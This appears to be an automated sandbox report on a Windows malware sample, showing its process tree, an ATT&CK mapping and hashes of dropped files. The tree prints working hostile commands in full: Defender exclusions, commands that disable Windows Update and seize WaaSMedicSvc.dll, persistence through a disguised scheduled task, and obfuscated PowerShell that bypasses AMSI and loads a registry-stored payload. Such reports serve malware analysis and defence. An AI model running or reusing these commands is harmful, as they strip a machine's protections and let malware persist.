C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c "C:\Users\Admin\AppData\Local\Temp\Chrome\updater.exe"
3⤵
PID:4224

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
4⤵
- Suspicious use of SetWindowsHookEx
PID:4264

C:\Users\Admin\AppData\Local\Temp\Chrome\updater.exe
C:\Users\Admin\AppData\Local\Temp\Chrome\updater.exe
4⤵
- Executes dropped EXE
PID:4460

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\Chrome\updater.exe"
5⤵
- Suspicious use of SetThreadContext
PID:4840

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAHkAegAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGEAawBrAHkAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAawBsACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHkAZABkACMAPgA="
6⤵
PID:4972

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
7⤵
- Suspicious use of SetWindowsHookEx
PID:4984

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -EncodedCommand "PAAjAHkAegAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGEAawBrAHkAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAawBsACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHkAZABkACMAPgA="
7⤵
- Suspicious use of AdjustPrivilegeToken
PID:5048

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c sc stop wuauserv & sc stop bits & sc stop dosvc & sc stop UsoSvc & sc stop WaaSMedicSvc & sc config wuauserv start= disabled & sc failure wuauserv reset= 0 actions= "" & sc config bits start= disabled & sc failure bits reset= 0 actions= "" & sc config dosvc start= disabled & sc failure dosvc reset= 0 actions= "" & sc config UsoSvc start= disabled & sc failure UsoSvc reset= 0 actions= "" & sc config wuauserv start= disabled & sc failure wuauserv reset= 0 actions= "" & takeown /f C:\\Windows\\System32\\WaaSMedicSvc.dll & icacls C:\\Windows\\System32\\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename C:\\Windows\\System32\\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f & reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sih" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sihboot" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantWakeupRun" /DISABLE
6⤵
PID:2696

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
7⤵
PID:3884

C:\Windows\system32\sc.exe
sc stop wuauserv
7⤵
PID:3192

C:\Windows\system32\sc.exe
sc stop bits
7⤵
PID:2212

C:\Windows\system32\sc.exe
sc stop dosvc
7⤵
PID:1784

C:\Windows\system32\sc.exe
sc stop UsoSvc
7⤵
PID:1080

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
7⤵
PID:4472

C:\Windows\system32\sc.exe
sc config wuauserv start= disabled
7⤵
PID:4092

C:\Windows\system32\sc.exe
sc failure wuauserv reset= 0 actions= ""
7⤵
PID:4500

C:\Windows\system32\sc.exe
sc config bits start= disabled
7⤵
PID:4652

C:\Windows\system32\sc.exe
sc failure bits reset= 0 actions= ""
7⤵
PID:4692

C:\Windows\system32\sc.exe
sc config dosvc start= disabled
7⤵
PID:4636

C:\Windows\system32\sc.exe
sc failure dosvc reset= 0 actions= ""
7⤵
PID:4768

C:\Windows\system32\sc.exe
sc config UsoSvc start= disabled
7⤵
PID:4820

C:\Windows\system32\sc.exe
sc failure UsoSvc reset= 0 actions= ""
7⤵
PID:4452

C:\Windows\system32\sc.exe
sc config wuauserv start= disabled
7⤵
PID:4340

C:\Windows\system32\sc.exe
sc failure wuauserv reset= 0 actions= ""
7⤵
PID:4884

C:\Windows\system32\takeown.exe
takeown /f C:\\Windows\\System32\\WaaSMedicSvc.dll
7⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2620

C:\Windows\system32\icacls.exe
icacls C:\\Windows\\System32\\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
7⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4724

C:\Windows\system32\reg.exe
reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
7⤵
PID:3764

C:\Windows\system32\reg.exe
reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
7⤵
PID:4968

C:\Windows\system32\reg.exe
reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AUOptions /d 2 /t REG_DWORD /f
7⤵
PID:4980

C:\Windows\system32\reg.exe
reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
7⤵
PID:4180

C:\Windows\system32\reg.exe
reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
7⤵
PID:2188

C:\Windows\system32\reg.exe
reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
7⤵
PID:2228

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Automatic App Update" /DISABLE
7⤵
PID:4076

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Scheduled Start" /DISABLE
7⤵
PID:1596

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sih" /DISABLE
7⤵
PID:5048

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sihboot" /DISABLE
7⤵
PID:204

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistant" /DISABLE
7⤵
PID:1520

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantCalendarRun" /DISABLE
7⤵
PID:4140

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantWakeupRun" /DISABLE
7⤵
PID:4388

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
6⤵
PID:2488

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
7⤵
PID:2948

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
7⤵
PID:4108

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
7⤵
PID:1624

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
7⤵
PID:2596

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
7⤵
PID:4308

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe
6⤵
PID:4152

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "fuljhipnixrs"
7⤵
PID:3468

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
1⤵
PID:596

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3864

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3864 -s 796
2⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:4288

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s CDPSvc
1⤵
PID:356

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3788

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3788 -s 856
2⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:4328

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3788 -s 868
2⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:3628

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3480

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:2152

c:\windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
1⤵
PID:2728

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2680

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
PID:2664

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks
1⤵
PID:2648

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s CryptSvc
1⤵
PID:2600

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2584

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2552

c:\windows\system32\sihost.exe
sihost.exe
1⤵
PID:2476

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
1⤵
PID:2464

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2376

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent
1⤵
PID:2356

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2348

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc
1⤵
PID:2136

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation
1⤵
PID:1276

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2000

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1852

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s StateRepository
1⤵
PID:1768

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s netprofm
1⤵
PID:1752

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1728

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1720

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s Dnscache
1⤵
PID:1612

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1604

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s NlaSvc
1⤵
PID:1548

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s FontCache
1⤵
PID:1456

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder
1⤵
PID:1448

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp
1⤵
PID:1424

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1392

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1360

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s nsi
1⤵
PID:1284

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s EventSystem
1⤵
PID:1212

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1204

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog
1⤵
PID:1144

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1116

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
PID:880

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:sCSpnaSHGdbw{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$jhRKaZNloVMhJq,[Parameter(Position=1)][Type]$NtatWsqAdM)$SLWoElBPlxe=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$SLWoElBPlxe.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$jhRKaZNloVMhJq).SetImplementationFlags('Runtime,Managed');$SLWoElBPlxe.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$NtatWsqAdM,$jhRKaZNloVMhJq).SetImplementationFlags('Runtime,Managed');Write-Output $SLWoElBPlxe.CreateType();}$CFUDACdmpIJWZ=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$CzKFTiGJydhxjN=$CFUDACdmpIJWZ.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$WmFhLxqDJZSutgYYwbx=sCSpnaSHGdbw @([String])([IntPtr]);$HgObQZXLvFbZmTjjbGcBff=sCSpnaSHGdbw @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$YyramdfUWHj=$CFUDACdmpIJWZ.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$qLBsHtAqXrtRXc=$CzKFTiGJydhxjN.Invoke($Null,@([Object]$YyramdfUWHj,[Object]('Load'+'LibraryA')));$bclrwmQJVCDGjEWbv=$CzKFTiGJydhxjN.Invoke($Null,@([Object]$YyramdfUWHj,[Object]('Vir'+'tual'+'Pro'+'tect')));$HYIYtfG=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qLBsHtAqXrtRXc,$WmFhLxqDJZSutgYYwbx).Invoke('a'+'m'+'si.dll');$bwuewxQgBqwOWuToc=$CzKFTiGJydhxjN.Invoke($Null,@([Object]$HYIYtfG,[Object]('Ams'+'iSc'+'an'+'Buffer')));$MaJsHmCnLo=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($bclrwmQJVCDGjEWbv,$HgObQZXLvFbZmTjjbGcBff).Invoke($bwuewxQgBqwOWuToc,[uint32]8,4,[ref]$MaJsHmCnLo);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$bwuewxQgBqwOWuToc,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($bclrwmQJVCDGjEWbv,$HgObQZXLvFbZmTjjbGcBff).Invoke($bwuewxQgBqwOWuToc,[uint32]8,0x20,[ref]$MaJsHmCnLo);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('dialerstager')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3340

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:PgSoBzZkMuLb{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$fyiQhgbbUocHvY,[Parameter(Position=1)][Type]$LZgLMqmgcj)$HAzvzZctUaY=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$HAzvzZctUaY.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$fyiQhgbbUocHvY).SetImplementationFlags('Runtime,Managed');$HAzvzZctUaY.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$LZgLMqmgcj,$fyiQhgbbUocHvY).SetImplementationFlags('Runtime,Managed');Write-Output $HAzvzZctUaY.CreateType();}$cHKuUPSYySccP=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$gTUUFuAotfKofF=$cHKuUPSYySccP.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$FeERHyhuafwUApLAoek=PgSoBzZkMuLb @([String])([IntPtr]);$ZDPkjJxllcJiJwneHsQObM=PgSoBzZkMuLb @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$nqfRUYMtjPZ=$cHKuUPSYySccP.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$igbOTYMpvoXGxq=$gTUUFuAotfKofF.Invoke($Null,@([Object]$nqfRUYMtjPZ,[Object]('Load'+'LibraryA')));$tIKCtuukfMzPlklEz=$gTUUFuAotfKofF.Invoke($Null,@([Object]$nqfRUYMtjPZ,[Object]('Vir'+'tual'+'Pro'+'tect')));$uxNLCsq=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($igbOTYMpvoXGxq,$FeERHyhuafwUApLAoek).Invoke('a'+'m'+'si.dll');$KrcBuVBYGGJWvsJdH=$gTUUFuAotfKofF.Invoke($Null,@([Object]$uxNLCsq,[Object]('Ams'+'iSc'+'an'+'Buffer')));$AysJtIicjH=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($tIKCtuukfMzPlklEz,$ZDPkjJxllcJiJwneHsQObM).Invoke($KrcBuVBYGGJWvsJdH,[uint32]8,4,[ref]$AysJtIicjH);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$KrcBuVBYGGJWvsJdH,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($tIKCtuukfMzPlklEz,$ZDPkjJxllcJiJwneHsQObM).Invoke($KrcBuVBYGGJWvsJdH,[uint32]8,0x20,[ref]$AysJtIicjH);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('dialerstager')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3764

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:1540

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService
1⤵
PID:624

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay
1⤵
PID:752

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -EncodedCommand "PAAjAHkAegAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGEAawBrAHkAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAawBsACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHkAZABkACMAPgA="
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1936

C:\Windows\system32\sc.exe
sc stop UsoSvc
1⤵
PID:872

C:\Windows\system32\sc.exe
sc config bits start= disabled
1⤵
PID:2756

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "C:\Users\Admin\AppData\Local\Temp\Chrome\updater.exe"
1⤵
- Creates scheduled task(s)
PID:3388

C:\Windows\system32\icacls.exe
icacls C:\\Windows\\System32\\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
1⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1372

C:\Windows\system32\takeown.exe
takeown /f C:\\Windows\\System32\\WaaSMedicSvc.dll
1⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3960

C:\Windows\system32\sc.exe
sc failure wuauserv reset= 0 actions= ""
1⤵
PID:2388

C:\Windows\system32\sc.exe
sc config wuauserv start= disabled
1⤵
PID:2416

C:\Windows\system32\sc.exe
sc failure UsoSvc reset= 0 actions= ""
1⤵
PID:3156

C:\Windows\system32\sc.exe
sc config UsoSvc start= disabled
1⤵
PID:2720

C:\Windows\system32\sc.exe
sc failure dosvc reset= 0 actions= ""
1⤵
PID:3700

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Scheduled Start" /DISABLE
1⤵
PID:2780

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Automatic App Update" /DISABLE
1⤵
PID:2936

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sihboot" /DISABLE
1⤵
PID:1436

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistant" /DISABLE
1⤵
PID:3720

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantCalendarRun" /DISABLE
1⤵
PID:1184

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantWakeupRun" /DISABLE
1⤵
PID:2488

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sih" /DISABLE
1⤵
PID:2784

C:\Windows\system32\reg.exe
reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
1⤵
PID:96

C:\Windows\system32\reg.exe
reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
1⤵
PID:488

C:\Windows\system32\reg.exe
reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
1⤵
PID:600

C:\Windows\system32\reg.exe
reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AUOptions /d 2 /t REG_DWORD /f
1⤵
PID:928

C:\Windows\system32\reg.exe
reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
1⤵
PID:2188

C:\Windows\system32\reg.exe
reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
1⤵
PID:3724

C:\Windows\system32\sc.exe
sc config dosvc start= disabled
1⤵
PID:3940

C:\Windows\system32\sc.exe
sc failure bits reset= 0 actions= ""
1⤵
PID:2548

C:\Windows\system32\sc.exe
sc failure wuauserv reset= 0 actions= ""
1⤵
PID:3880

C:\Windows\system32\sc.exe
sc config wuauserv start= disabled
1⤵
PID:2780

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
1⤵
PID:3736

C:\Windows\system32\sc.exe
sc stop dosvc
1⤵
PID:2392

C:\Windows\system32\sc.exe
sc stop bits
1⤵
PID:1268

C:\Windows\system32\sc.exe
sc stop wuauserv
1⤵
PID:2208

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:4192

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Impair Defenses

T1562

File Permissions Modification

T1222

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9947.tmp.csv
Filesize
31KB

MD5
179631a7ec94bb2e344cac984d5ee741

SHA1
498c085e3e78ac71fa196d1791e12a3750a1c134

SHA256
bcfe1e244d337ab7bf6d19a5885efff52847872ae8a923321e9adfad392a40a9

SHA512
05294476479ddc7aab51dc8eaa37b009dfe5bb51426e2b27ec99ffda2ef5ecfc99f0f15b7c8c2f8dfa3c4a6018a196742fcbfd910537a4e9d3bcdf1ae5b4bfec

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER9958.tmp.txt
Filesize
12KB

MD5
edaea4791e784d4eab4eb33638c646c3

SHA1
673273ca6043152e869931f5d006db7078e5eb8f

SHA256
aa36d307d78267d9b66bc39327e94563e7f92dd02c4e8c0373bd789bcf2c6aac

SHA512
afd5520d5b9e2b5f0c91d9ff11a6675a9c55095f83681623a742e4ccd30cd64fe6fe42252100fde8ea6584027c70205f6a4423e0940c14dd2a9414882c576e2b

Download Submit
